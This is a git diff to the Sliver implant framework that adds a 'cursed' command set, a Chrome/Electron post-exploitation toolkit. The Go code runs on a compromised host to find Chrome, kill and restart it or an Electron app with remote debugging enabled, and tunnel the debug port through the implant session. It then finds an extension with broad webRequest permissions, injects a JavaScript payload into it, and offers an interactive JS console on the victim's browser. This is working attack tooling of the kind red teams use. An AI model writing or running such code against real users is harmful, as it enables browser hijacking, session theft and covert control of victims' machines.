diff --git a/client/command/commands.go b/client/command/commands.go index d972a61cde..b5aa096986 100644 --- a/client/command/commands.go +++ b/client/command/commands.go @@ -42,6 +42,7 @@ import ( "github.com/bishopfox/sliver/client/command/backdoor" "github.com/bishopfox/sliver/client/command/beacons" "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/cursed" "github.com/bishopfox/sliver/client/command/dllhijack" "github.com/bishopfox/sliver/client/command/environment" "github.com/bishopfox/sliver/client/command/exec" @@ -3298,6 +3299,97 @@ func BindCommands(con *console.SliverConsoleClient) { f.String("r", "range", "sliver", "Agents range") }, }) - con.App.AddCommand(operatorCmd) + + // [ Curse Commands ] ------------------------------------------------------------ + + cursedCmd := &grumble.Command{ + Name: consts.Cursed, + Help: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚", + LongHelp: help.GetHelpFor([]string{consts.Cursed}), + HelpGroup: consts.GenericHelpGroup, + Flags: func(f *grumble.Flags) { + f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + }, + Run: func(ctx *grumble.Context) error { + con.Println() + cursed.CursedCmd(ctx, con) + con.Println() + return nil + }, + } + cursedCmd.AddCommand(&grumble.Command{ + Name: consts.RmStr, + Help: "Remove a Curse from a process", + LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}), + HelpGroup: consts.GenericHelpGroup, + Flags: func(f *grumble.Flags) { + f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + }, + Args: func(a *grumble.Args) { + a.Int("bind-port", "bind port of the Cursed process to stop") + }, + Run: func(ctx *grumble.Context) error { + con.Println() + cursed.CursedRmCmd(ctx, con) + con.Println() + return nil + }, + }) + cursedCmd.AddCommand(&grumble.Command{ + Name: consts.CursedConsole, + Help: "Start a JavaScript console connected to a debug target", + LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}), + HelpGroup: consts.GenericHelpGroup, + Flags: func(f *grumble.Flags) { + f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port") + f.String("e", "extension-id", "", "extension id to inject into (blank string = auto)") + + f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + }, + Run: func(ctx *grumble.Context) error { + con.Println() + cursed.CursedConsoleCmd(ctx, con) + con.Println() + return nil + }, + }) + cursedCmd.AddCommand(&grumble.Command{ + Name: consts.CursedChrome, + Help: "Automatically inject a Cursed Chrome payload into a remote Chrome extension", + LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}), + HelpGroup: consts.GenericHelpGroup, + Flags: func(f *grumble.Flags) { + f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port") + f.String("i", "extension-id", "", "extension id to inject into (blank string = auto)") + f.String("p", "payload", "", "cursed chrome payload file path (.js)") + + f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + }, + Run: func(ctx *grumble.Context) error { + con.Println() + cursed.CursedChromeCmd(ctx, con) + con.Println() + return nil + }, + }) + cursedCmd.AddCommand(&grumble.Command{ + Name: consts.CursedElectron, + Help: "Curse a remote Electron application", + LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}), + HelpGroup: consts.GenericHelpGroup, + Flags: func(f *grumble.Flags) { + f.String("e", "exe", "", "remote electron executable absolute path") + f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port") + + f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + }, + Run: func(ctx *grumble.Context) error { + con.Println() + cursed.CursedElectronCmd(ctx, con) + con.Println() + return nil + }, + }) + con.App.AddCommand(cursedCmd) } diff --git a/client/command/cursed/README.md b/client/command/cursed/README.md new file mode 100644 index 0000000000..e81d1e6835 --- /dev/null +++ b/client/command/cursed/README.md @@ -0,0 +1,3 @@ +# Cursed + +Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](/~https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/). diff --git a/client/command/cursed/cursed-chrome.go b/client/command/cursed/cursed-chrome.go new file mode 100644 index 0000000000..c973081ec6 --- /dev/null +++ b/client/command/cursed/cursed-chrome.go @@ -0,0 +1,350 @@ +package cursed + +/* + Sliver Implant Framework + Copyright (C) 2022 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "errors" + "fmt" + "io/ioutil" + "log" + insecureRand "math/rand" + "strings" + "time" + + "github.com/AlecAivazis/survey/v2" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/core" + "github.com/bishopfox/sliver/client/overlord" + "github.com/bishopfox/sliver/client/tcpproxy" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/desertbit/grumble" +) + +var ( + ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir") + ErrChromeExecutableNotFound = errors.New("could not find Chrome executable") + ErrUnsupportedOS = errors.New("unsupported OS") + + windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"} + + cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking} + cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking} +) + +// CursedChromeCmd - Execute a .NET assembly in-memory +func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) { + session := con.ActiveTarget.GetSessionInteractive() + if session == nil { + return + } + + payloadPath := ctx.Flags.String("payload") + var payload []byte + var err error + if payloadPath != "" { + payload, err = ioutil.ReadFile(payloadPath) + if err != nil { + con.PrintErrorf("Could not read payload file: %s\n", err) + return + } + } + + curse := avadaKedavraChrome(session, ctx, con) + if curse == nil { + return + } + if payloadPath == "" { + con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n") + return + } + + con.PrintInfof("Searching for Chrome extension with all permissions ... ") + chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + // There is one alternative set of permissions that we can use if we don't find an extension + // with all the proper permissions. + if chromeExt == nil { + chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + } + if chromeExt != nil { + con.Printf("success!\n") + con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID) + con.PrintInfof("Injecting payload ... ") + ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse) + // extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second) + // defer cancel() + _, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload)) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + con.Printf("success!\n") + } else { + con.Printf("failure!\n") + con.PrintInfof("No viable Chrome extensions were found ☹️\n") + } +} + +func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess { + chromeProcess, err := getChromeProcess(session, ctx, con) + if err != nil { + con.PrintErrorf("%s\n", err) + return nil + } + if chromeProcess != nil { + con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid()) + con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n") + con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal) + con.Printf("\n") + confirm := false + err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm) + if err != nil { + con.PrintErrorf("%s\n", err) + return nil + } + if !confirm { + con.PrintErrorf("User cancel\n") + return nil + } + } + curse, err := startCursedChromeProcess(true, session, ctx, con) + if err != nil { + con.PrintErrorf("%s\n", err) + return nil + } + return curse +} + +func startCursedChromeProcess(restore bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) { + con.PrintInfof("Finding Chrome executable path ... ") + chromeExePath, err := findChromeExecutablePath(session, ctx, con) + if err != nil { + con.Printf("failure!\n") + return nil, err + } + con.Printf("success!\n") + con.PrintInfof("Finding Chrome user data directory ... ") + chromeUserDataDir, err := findChromeUserDataDir(session, ctx, con) + if err != nil { + con.Printf("failure!\n") + return nil, err + } + con.Printf("success!\n") + + con.PrintInfof("Starting Chrome process ... ") + debugPort := uint16(ctx.Flags.Int("remote-debugging-port")) + args := []string{ + fmt.Sprintf("--remote-debugging-port=%d", debugPort), + } + if restore { + args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir)) + args = append(args, "--restore-last-session") + } + + // Execute the Chrome process with the extra flags + // TODO: PPID spoofing, etc. + chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{ + Request: con.ActiveTarget.Request(ctx), + Path: chromeExePath, + Args: args, + Output: false, + }) + if err != nil { + con.Printf("failure!\n") + return nil, err + } + con.Printf("(pid: %d) success!\n", chromeExec.GetPid()) + + con.PrintInfof("Waiting for Chrome process to initialize ... ") + time.Sleep(2 * time.Second) + + bindPort := insecureRand.Intn(10000) + 40000 + bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort) + + remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort) + + tcpProxy := &tcpproxy.Proxy{} + channelProxy := &core.ChannelProxy{ + Rpc: con.Rpc, + Session: session, + RemoteAddr: remoteAddr, + BindAddr: bindAddr, + KeepAlivePeriod: 60 * time.Second, + DialTimeout: 30 * time.Second, + } + tcpProxy.AddRoute(bindAddr, channelProxy) + portFwd := core.Portfwds.Add(tcpProxy, channelProxy) + + curse := &core.CursedProcess{ + SessionID: session.ID, + PID: chromeExec.GetPid(), + PortFwd: portFwd, + BindTCPPort: bindPort, + Platform: session.GetOS(), + ExePath: chromeExePath, + ChromeUserDataDir: chromeUserDataDir, + } + core.CursedProcesses.Store(bindPort, curse) + go func() { + err := tcpProxy.Run() + if err != nil { + log.Printf("Proxy error %s", err) + } + core.CursedProcesses.Delete(bindPort) + }() + + con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr) + + return curse, nil +} + +func isChromeProcess(executable string) bool { + var chromeProcessNames = []string{ + "chrome", // Linux + "chrome.exe", // Windows + "Google Chrome", // Darwin + } + for _, suffix := range chromeProcessNames { + if strings.HasSuffix(executable, suffix) { + return true + } + } + return false +} + +func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) { + ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ + Request: con.ActiveTarget.Request(ctx), + }) + if err != nil { + return nil, err + } + for _, process := range ps.Processes { + if process.GetOwner() != session.GetUsername() { + continue + } + if isChromeProcess(process.GetExecutable()) { + return process, nil + } + } + return nil, nil +} + +func findChromeUserDataDir(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) { + switch session.GetOS() { + + case "windows": + username := session.GetUsername() + if strings.Contains(username, "\\") { + username = strings.Split(username, "\\")[1] + } + for _, driveLetter := range windowsDriveLetters { + userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username) + ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{ + Request: con.ActiveTarget.Request(ctx), + Path: userDataDir, + }) + if err != nil { + return "", err + } + if ls.GetExists() { + return userDataDir, nil + } + } + return "", ErrUserDataDirNotFound + + case "darwin": + userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username) + ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{ + Request: con.ActiveTarget.Request(ctx), + Path: userDataDir, + }) + if err != nil { + return "", err + } + if ls.GetExists() { + return userDataDir, nil + } + return "", ErrUserDataDirNotFound + + default: + return "", ErrUnsupportedOS + } +} + +func findChromeExecutablePath(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) { + switch session.GetOS() { + + case "windows": + chromePaths := []string{ + "[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", + "[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", + "[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe", + "[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe", + } + username := session.GetUsername() + if strings.Contains(username, "\\") { + username = strings.Split(username, "\\")[1] + } + for _, driveLetter := range windowsDriveLetters { + for _, chromePath := range chromePaths { + chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter) + chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username) + ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{ + Request: con.ActiveTarget.Request(ctx), + Path: chromeExecutablePath, + }) + if err != nil { + return "", err + } + if ls.GetExists() { + return chromeExecutablePath, nil + } + } + } + return "", ErrChromeExecutableNotFound + + case "darwin": + const defaultChromePath = "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" + ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{ + Request: con.ActiveTarget.Request(ctx), + Path: defaultChromePath, + }) + if err != nil { + return "", err + } + if ls.GetExists() { + return defaultChromePath, nil + } + return "", ErrChromeExecutableNotFound + + default: + return "", ErrUnsupportedOS + } +} diff --git a/client/command/cursed/cursed-console.go b/client/command/cursed/cursed-console.go new file mode 100644 index 0000000000..f10cd5a7aa --- /dev/null +++ b/client/command/cursed/cursed-console.go @@ -0,0 +1,135 @@ +package cursed + +/* + Sliver Implant Framework + Copyright (C) 2022 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "bytes" + "fmt" + "io" + "io/ioutil" + "strings" + "text/tabwriter" + + "github.com/AlecAivazis/survey/v2" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/core" + "github.com/bishopfox/sliver/client/overlord" + "github.com/desertbit/grumble" + "github.com/desertbit/readline" +) + +func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) { + curse := selectCursedProcess(con) + if curse == nil { + return + } + con.Println() + con.PrintInfof("Querying debug targets ... ") + targets, err := overlord.QueryDebugTargets(curse.DebugURL().String()) + con.Printf(console.Clearln + "\r") + if err != nil { + con.PrintErrorf("Failed to query debug targets: %s\n", err) + return + } + target := selectDebugTarget(targets, con) + if target == nil { + return + } + con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title) + startCursedConsole(curse, target, con) +} + +func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget { + if len(targets) < 1 { + con.PrintErrorf("No debug targets\n") + return nil + } + + id2target := map[string]overlord.ChromeDebugTarget{} + outputBuf := bytes.NewBufferString("") + table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) + for _, target := range targets { + fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL) + id2target[target.ID] = target + } + table.Flush() + options := strings.Split(outputBuf.String(), "\n") + options = options[:len(options)-1] // Remove the last empty option + prompt := &survey.Select{ + Message: "Select a debug target:", + Options: options, + } + selected := "" + err := survey.AskOne(prompt, &selected) + if err != nil { + con.PrintErrorf("%s\n", err) + return nil + } + if selected == "" { + return nil + } + selectedID := strings.Split(selected, " ")[0] + selectedTarget := id2target[selectedID] + return &selectedTarget +} + +func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) { + tmpFile, _ := ioutil.TempFile("", "cursed") + reader, err := readline.NewEx(&readline.Config{ + Prompt: "\033[31mcursed »\033[0m ", + HistoryFile: tmpFile.Name(), + // AutoComplete: nil, + InterruptPrompt: "^C", + EOFPrompt: "exit", + HistorySearchFold: true, + // FuncFilterInputRune: filterInput, + }) + if err != nil { + con.PrintErrorf("Failed to create read line: %s\n", err) + return + } + for { + line, err := reader.Readline() + if err == readline.ErrInterrupt { + if len(line) == 0 { + break + } else { + continue + } + } else if err == io.EOF { + break + } + switch strings.TrimSpace(line) { + case "exit": + return + default: + ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse) + result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line) + if err != nil { + con.PrintErrorf("%s\n", err) + } + con.Println() + if 0 < len(result) { + con.Printf("%s\n", result) + con.Println() + } + } + } + +} diff --git a/client/command/cursed/cursed-electron.go b/client/command/cursed/cursed-electron.go new file mode 100644 index 0000000000..ea4a01cef9 --- /dev/null +++ b/client/command/cursed/cursed-electron.go @@ -0,0 +1,217 @@ +package cursed + +/* + Sliver Implant Framework + Copyright (C) 2022 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "fmt" + "log" + insecureRand "math/rand" + "path" + "time" + + "github.com/AlecAivazis/survey/v2" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/core" + "github.com/bishopfox/sliver/client/overlord" + "github.com/bishopfox/sliver/client/tcpproxy" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/desertbit/grumble" +) + +func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) { + session := con.ActiveTarget.GetSessionInteractive() + if session == nil { + return + } + + electronExe := ctx.Flags.String("exe") + if electronExe == "" { + con.PrintErrorf("Missing --exe flag, see --help\n") + return + } + + curse := avadaKedavraElectron(electronExe, session, ctx, con) + if curse == nil { + return + } + con.PrintInfof("Checking for debug targets ...") + targets, err := overlord.QueryDebugTargets(curse.DebugURL().String()) + con.Printf(console.Clearln + "\r") + if err != nil { + con.PrintErrorf("Failed to query debug targets: %s\n", err) + return + } + if len(targets) == 0 { + con.PrintErrorf("Zero debug targets found\n") + return + } + con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets)) +} + +func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess { + exists, err := checkElectronPath(electronExe, session, ctx, con) + if err != nil { + con.PrintErrorf("%s", err) + return nil + } + if !exists { + con.PrintErrorf("Executable path does not exist: %s", electronExe) + return nil + } + electronProcess, err := checkElectronProcess(electronExe, session, ctx, con) + if err != nil { + con.PrintErrorf("%s\n", err) + return nil + } + if electronProcess != nil { + con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid()) + con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n") + con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal) + con.Printf("\n") + confirm := false + err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm) + if err != nil { + con.PrintErrorf("%s\n", err) + return nil + } + if !confirm { + con.PrintErrorf("User cancel\n") + return nil + } + } + curse, err := startCursedElectronProcess(electronExe, session, ctx, con) + if err != nil { + con.PrintErrorf("%s\n", err) + return nil + } + return curse +} + +func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) { + ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{ + Request: con.ActiveTarget.Request(ctx), + Path: electronExe, + }) + if err != nil { + return false, err + } + return ls.GetExists(), nil +} + +func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) { + ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ + Request: con.ActiveTarget.Request(ctx), + }) + if err != nil { + return nil, err + } + for _, process := range ps.Processes { + if process.GetOwner() != session.GetUsername() { + continue + } + if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) { + return process, nil + } + } + return nil, nil +} + +func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) { + con.PrintInfof("Starting '%s' ... ", path.Base(electronExe)) + debugPort := uint16(ctx.Flags.Int("remote-debugging-port")) + args := []string{ + fmt.Sprintf("--remote-debugging-port=%d", debugPort), + } + + // Execute the Chrome process with the extra flags + // TODO: PPID spoofing, etc. + electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{ + Request: con.ActiveTarget.Request(ctx), + Path: electronExe, + Args: args, + Output: false, + }) + if err != nil { + con.Printf("failure!\n") + return nil, err + } + con.Printf("(pid: %d) success!\n", electronExec.GetPid()) + + con.PrintInfof("Waiting for process to initialize ... ") + time.Sleep(2 * time.Second) + + bindPort := insecureRand.Intn(10000) + 40000 + bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort) + + remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort) + + tcpProxy := &tcpproxy.Proxy{} + channelProxy := &core.ChannelProxy{ + Rpc: con.Rpc, + Session: session, + RemoteAddr: remoteAddr, + BindAddr: bindAddr, + KeepAlivePeriod: 60 * time.Second, + DialTimeout: 30 * time.Second, + } + tcpProxy.AddRoute(bindAddr, channelProxy) + portFwd := core.Portfwds.Add(tcpProxy, channelProxy) + + curse := &core.CursedProcess{ + SessionID: session.ID, + PID: electronExec.GetPid(), + PortFwd: portFwd, + BindTCPPort: bindPort, + Platform: session.GetOS(), + ExePath: electronExe, + } + core.CursedProcesses.Store(bindPort, curse) + go func() { + err := tcpProxy.Run() + if err != nil { + log.Printf("Proxy error %s", err) + } + core.CursedProcesses.Delete(bindPort) + }() + + con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr) + + return curse, nil +} + +func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) { + ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ + Request: con.ActiveTarget.Request(ctx), + }) + if err != nil { + return nil, err + } + for _, process := range ps.Processes { + if process.GetOwner() != session.GetUsername() { + continue + } + if isChromeProcess(process.GetExecutable()) { + return process, nil + } + } + return nil, nil +} diff --git a/client/command/cursed/cursed-rm.go b/client/command/cursed/cursed-rm.go new file mode 100644 index 0000000000..170278f44b --- /dev/null +++ b/client/command/cursed/cursed-rm.go @@ -0,0 +1,34 @@ +package cursed + +/* + Sliver Implant Framework + Copyright (C) 2022 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/core" + "github.com/desertbit/grumble" +) + +func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) { + session := con.ActiveTarget.GetSessionInteractive() + if session == nil { + return + } + bindPort := ctx.Args.Int("bind-port") + core.CloseCursedProcessesByBindPort(session.ID, bindPort) +} diff --git a/client/command/cursed/cursed.go b/client/command/cursed/cursed.go new file mode 100644 index 0000000000..474cdbff2a --- /dev/null +++ b/client/command/cursed/cursed.go @@ -0,0 +1,109 @@ +package cursed + +/* + Sliver Implant Framework + Copyright (C) 2022 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "bytes" + "fmt" + "strconv" + "strings" + "text/tabwriter" + + "github.com/AlecAivazis/survey/v2" + "github.com/bishopfox/sliver/client/command/settings" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/core" + "github.com/desertbit/grumble" + "github.com/jedib0t/go-pretty/v6/table" +) + +// CursedChromeCmd - Execute a .NET assembly in-memory +func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) { + cursedProcesses := [][]string{} + core.CursedProcesses.Range(func(key, value interface{}) bool { + curse := value.(*core.CursedProcess) + cursedProcesses = append(cursedProcesses, []string{ + fmt.Sprintf("%d", curse.BindTCPPort), + strings.Split(curse.SessionID, "-")[0], + fmt.Sprintf("%d", curse.PID), + curse.Platform, + curse.ExePath, + curse.DebugURL().String(), + }) + return true + }) + if 0 < len(cursedProcesses) { + tw := table.NewWriter() + tw.SetStyle(settings.GetTableStyle(con)) + tw.AppendHeader(table.Row{ + "Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL", + }) + for _, rowEntries := range cursedProcesses { + row := table.Row{} + for _, entry := range rowEntries { + row = append(row, entry) + } + tw.AppendRow(table.Row(row)) + } + con.Printf("%s\n", tw.Render()) + } else { + con.PrintInfof("No cursed processes\n") + } +} + +func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess { + cursedProcesses := []*core.CursedProcess{} + core.CursedProcesses.Range(func(key, value interface{}) bool { + cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess)) + return true + }) + if len(cursedProcesses) < 1 { + con.PrintErrorf("No cursed processes\n") + return nil + } + + port2process := map[int]*core.CursedProcess{} + outputBuf := bytes.NewBufferString("") + table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) + for _, cursedProcess := range cursedProcesses { + fmt.Fprintf(table, "%d\t%s\t%s\n", + cursedProcess.BindTCPPort, + fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]), + cursedProcess.ExePath) + port2process[cursedProcess.BindTCPPort] = cursedProcess + } + table.Flush() + options := strings.Split(outputBuf.String(), "\n") + options = options[:len(options)-1] // Remove the last empty option + prompt := &survey.Select{ + Message: "Select a curse:", + Options: options, + } + selected := "" + err := survey.AskOne(prompt, &selected) + if err != nil { + con.PrintErrorf("%s\n", err) + return nil + } + if selected == "" { + return nil + } + selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0]) + return port2process[selectedPortNumber] +} diff --git a/client/command/help/long-help.go b/client/command/help/long-help.go index 8f4e815db8..9cdecec0b8 100644 --- a/client/command/help/long-help.go +++ b/client/command/help/long-help.go @@ -103,6 +103,8 @@ var ( consts.ReactionStr: reactionHelp, consts.ReactionStr + sep + consts.SetStr: reactionSetHelp, consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp, + + consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp, } jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs @@ -686,6 +688,19 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs [[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only). +` + + cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome +[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension. + +If no extension is specified, Sliver will enumerate all installed extensions, extract their +permissions and determine a valid target for injection. For Cursed Chrome to work properly +the target extension must have either of these two sets of permissions: + +1. "webRequest" "webRequestBlocking" "" +2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*" + +More information: /~https://github.com/mandatoryprogrammer/CursedChrome ` ) diff --git a/client/command/portfwd/portfwd.go b/client/command/portfwd/portfwd.go index f9e3b001ff..031fc50d34 100644 --- a/client/command/portfwd/portfwd.go +++ b/client/command/portfwd/portfwd.go @@ -53,7 +53,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) { "Remote Address", }) for _, p := range portfwds { - tw.AppendHeader(table.Row{ + tw.AppendRow(table.Row{ p.ID, p.SessionID, p.BindAddr, diff --git a/client/console/console.go b/client/console/console.go index c4c746e4c6..e00d71355b 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -216,6 +216,7 @@ func (con *SliverConsoleClient) EventLoop() { shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime) activeSession := con.ActiveTarget.GetSession() core.GetTunnels().CloseForSession(session.ID) + core.CloseCursedProcesses(session.ID) if activeSession != nil && activeSession.ID == session.ID { con.ActiveTarget.Set(nil, nil) con.PrintEventErrorf("Active session disconnected") diff --git 